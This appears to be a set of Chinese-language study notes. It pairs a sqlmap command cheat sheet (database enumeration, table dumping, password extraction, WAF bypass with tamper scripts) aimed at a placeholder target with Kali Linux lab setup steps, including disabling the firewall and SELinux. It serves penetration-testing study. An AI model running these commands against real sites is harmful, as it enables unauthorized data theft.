基本命令
命令参数 | 描述 | 示例 |
---|---|---|
-U , --url | 指定目标 URL | sqlmap -u "http://target.com/vulnerable?id=1" |
数据库枚举
命令参数 | 描述 | 示例 |
---|---|---|
-d , --data | POST 请求的数据 | sqlmap -u "http://target.com/vulnerable?id=1" --data="username=admin&password=1234" |
-p , --param | 指定要测试的特定参数 | sqlmap -u "http://target.com/vulnerable?id=1" --param="id" |
--dbs | 列出目标数据库 | sqlmap -u "http://target.com/vulnerable?id=1" --dbs |
-D , --database | 指定目标数据库 | sqlmap -u "http://target.com/vulnerable?id=1" -D target_db |
--tables | 列出目标数据库中的所有表 | sqlmap -u "http://target.com/vulnerable?id=1" -D target_db --tables |
-T , --table | 指定目标表,后续操作将在该表上进行 | sqlmap -u "http://target.com/vulnerable?id=1" -D target_db -T target_table |
--columns | 列出目标表中的所有字段 | sqlmap -u "http://target.com/vulnerable?id=1" -D target_db -T target_table --columns |
数据提取
命令参数 | 描述 | 示例 |
---|---|---|
--dump | 从目标数据库表中导出数据 | sqlmap -u "http://target.com/vulnerable?id=1" -D target_db -T target_table --dump |
--columns | 指定导出的字段 | sqlmap -u "http://target.com/vulnerable?id=1" -D target_db -T target_table -C column1,column2 --dump |
--current-db | 获取当前使用的数据库 | sqlmap -u "http://target.com/vulnerable?id=1" --current-db |
Cookie 和认证
命令参数 | 描述 | 示例 |
---|---|---|
--cookie | 设置用于会话的 Cookie 信息 | sqlmap -u "http://target.com/vulnerable?id=1" --cookie="PHPSESSID=123456" |
--auth-type | 指定认证类型,常见的有 Basic、Digest 等 | sqlmap -u "http://target.com/vulnerable?id=1" --auth-type=Basic --auth-cred="admin:password" |
--tamper | 使用预定义脚本绕过 WAF 或过滤器 | sqlmap -u "http://target.com/vulnerable?id=1" --tamper=between |
--proxy | 通过代理进行所有请求 | sqlmap -u "http://target.com/vulnerable?id=1" --proxy="http://127.0.0.1:8080" |
--user-agent | 设置自定义的用户代理 | sqlmap -u "http://target.com/vulnerable?id=1" --user-agent="Mozilla/5.0" |
--referer | 设置 HTTP 请求头中的 Referer | sqlmap -u "http://target.com/vulnerable?id=1" --referer="http://target.com/page" |
数据库信息
命令参数 | 描述 | 示例 |
---|---|---|
--banner | 获取目标数据库的横幅信息 | sqlmap -u "http://target.com/vulnerable?id=1" --banner |
--technique | 指定注入技术,值为 B(盲注)、E(错误注入)、T(时间盲注)、U(UNION 查询) | sqlmap -u "http://target.com/vulnerable?id=1" --technique=BE |
--level | 设置测试深度,1-5,数字越大测试越深入 | sqlmap -u "http://target.com/vulnerable?id=1" --level=3 |
--risk | 设置测试的风险级别,1-3,数字越大风险越大 | sqlmap -u "http://target.com/vulnerable?id=1" --risk=3 |
调试和输出选项
命令参数 | 描述 | 示例 |
---|---|---|
--threads | 设置并发请求的线程数,默认 1 | sqlmap -u "http://target.com/vulnerable?id=1" --threads=10 |
--batch | 跳过所有交互式提示,自动执行默认操作 | sqlmap -u "http://target.com/vulnerable?id=1" --batch |
--dbms | 指定目标数据库管理系统类型 | sqlmap -u "http://target.com/vulnerable?id=1" --dbms=MySQL |
--os | 指定操作系统类型 | sqlmap -u "http://target.com/vulnerable?id=1" --os=Linux |
--check-dbms | 检查目标是否为特定的数据库类型 | sqlmap -u "http://target.com/vulnerable?id=1" --check-dbms |
-v , --verbosity | 设置调试输出的详细级别,0-6,数字越大输出越详细 | sqlmap -u "http://target.com/vulnerable?id=1" -v 3 |
--output-dir | 指定结果输出目录 | sqlmap -u "http://target.com/vulnerable?id=1" --output-dir="/tmp/output" |
常见命令组合
-
列出数据库、表和字段并导出数据
sqlmap -u "http://target.com/vulnerable?id=1" --dbs -D target_db --tables -T target_table --columns -C column1,column2 --dump
-
绕过 WAF、使用代理并导出数据
sqlmap -u "http://target.com/vulnerable?id=1" --tamper=between --proxy="http://127.0.0.1:8080" --dump
3.获取数据库信息和密码破解
sqlmap -u "http://target.com/vulnerable?id=1" --current-db --banner --passwords
其他参数说明
- --level 和 --risk:这两个参数帮助调整测试的强度和风险。
level
控制测试的深度,risk
控制测试的风险程度。 - --tamper:允许你使用不同的脚本绕过一些 Web 应用防火墙 (WAF) 或输入过滤器。
- --threads:设置并发请求的线程数,增加并发可以提高测试速度。
- --no-escape:禁用 URL 编码,这对于绕过某些过滤器非常有用。
kali基本配置
kali
思路:网通
1,切换用户
#sudo passwd root //更改root密码
#su 用户名
2,网通
Kali Linux 在虚拟机中的网络配置不需要特别配置网卡,通常只需要设置网络模式即可。
CentOS 上要手动配置网卡接口的 IP 地址或其他详细参数,除非你需要更高级的网络配置
总结:
- Kali Linux:网卡通常由虚拟机自动配置和启用,无需手动启动。
- CentOS:需要手动启动网络服务,尤其是在服务器或静态 IP 配置时。
以下是 Kali Linux 和 CentOS 在网络配置上的默认行为的表格总结:
操作系统 | 网卡配置 | 自动启用网络 | 需要手动配置/启动 |
---|---|---|---|
Kali Linux | 默认配置虚拟网卡(通过虚拟化软件) | 是,虚拟机启动时自动启用 | 不需要手动启动网络,自动获取 IP |
CentOS | 可能不自动启用网卡 | 否,通常需要手动启用网络接口 | 需要手动启动并配置网络,尤其在服务器或静态 IP 配置下 |
配置网卡(网络没问题可以跳过这一步骤/到下面的3,最简单的网通)
#vi /etc/network/interfaces
1.默认配置
# 默认
auto lo
iface lo inet loopback
2.配置动态dhcp
# eth0 动态
auto eth0
iface eth0 inet dhcp
3.配置静态ip
# eth0 静态
auto eth0
iface eth0 inet static address 192.168.1.100 #静态
netmask 255.255.255.0 #掩码
gateway 192.168.1.1 #网关
ESC :wq!保存退出
//按键盘i 进入编辑模式
//按键盘ESC 退出
//:W保存
//:q退出
//:q!强制退出
//ESC :wq!
动态和静态同时配置在一个网卡上会冲突
4.重启网络服务
#systemctl restart networking.service //用这个
#sudo dhclient eth0 //重启网卡dhcp服务
#ifconfig etho x.x.x.x //临时指定地址
5.配置dns
#vi /etc/resolv.conf
nameserver 8.8.8.8 # Google DNS
nameserver 8.8.4.4 # Google DNS
nameserver 1.1.1.1 # Cloudflare DNS
nameserver 1.0.0.1 # Cloudflare DNS
nameserver 114.114.114.114 # 中国的公共 DNS
nameserver 114.114.115.115 # 中国的公共 DNS
:wq!
6.防止 resolv.conf 被 NetworkManager 覆盖
方法 1:锁定 resolv.conf 解锁(修改DNS) //Kali会自动重写 /etc/resolv.conf,导致你手动配置DNS失效 重启 NetworkManager |
查看:网卡/dns配置
# cat /etc/network/interfaces
# cat /etc/resolv.conf
//ping验证:网通。网不通大概就是你的内外主机不在同一网段或者开启了防火墙。一切都搞好了不行,添加一张新的网卡试试看。
7.关闭防火墙
初始化之五安全配置——第一步关闭防火墙
# systemctl stop firewalld ——关闭防火墙
# systemctl disable firewalld ——开机不自启
# iptables -F ——清空防火墙列表
# iptables -X
# iptables -Z
初始化之五安全配置——第二步关闭SELinux
方法一:临时修改,重启失效
# setenforce 0 ——临时生效
# getenforce ——检查
Permissive 表示关闭成功
方法二:修改配置文件,实现永久开机不自启
# vi /etc/selinux/config
SELINUX=disabled
虚拟机重启检查:
#getenforce ——检查
Disabled 表示开机不自启动
3,最简单网通。桥接/net
- Kali Linux:网卡通常由虚拟机自动配置和启用,无需手动启动。
- 选择网络模式即可由vm分配好了 //前提你要调vm和Windows互通
- CentOS:需要手动启动网络服务,尤其是在服务器或静态 IP 配置时。
1.Windows更改网络适配器
2.VM虚拟网络编辑器
Kali桥接
Kli-NAT
4,验证网通
验证:kali与Windows互ping 或者ping baidu.com 看能不能上网。如果不能看在不在同一个网段(如果还是不能/把kali防火墙+Windows防火墙关了)
kali防火墙关:回到7.安全配置
ping baidu.com 不能上网:回到前面改网络模式桥接/NAT测试看看?不行最后改dns
5,换源(国内)
# lsb_release -a //查看kali版本对应换源
修改源配置文件
# vi /etc/apt/sources.list
注释掉官方源/换成国内源/国外国内源一起用有时解析会有问题(工具包不知道从哪个url下载)
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
更新kali-sqlmap
先保证你的kali换国内源好,再下载,不然默认从国外下载,你的网络不好文件受损!
# #whereis sqlmap //找sqlmap程序位置
# ls -l /usr/bin/sqlmap //查看sqlmap详细信息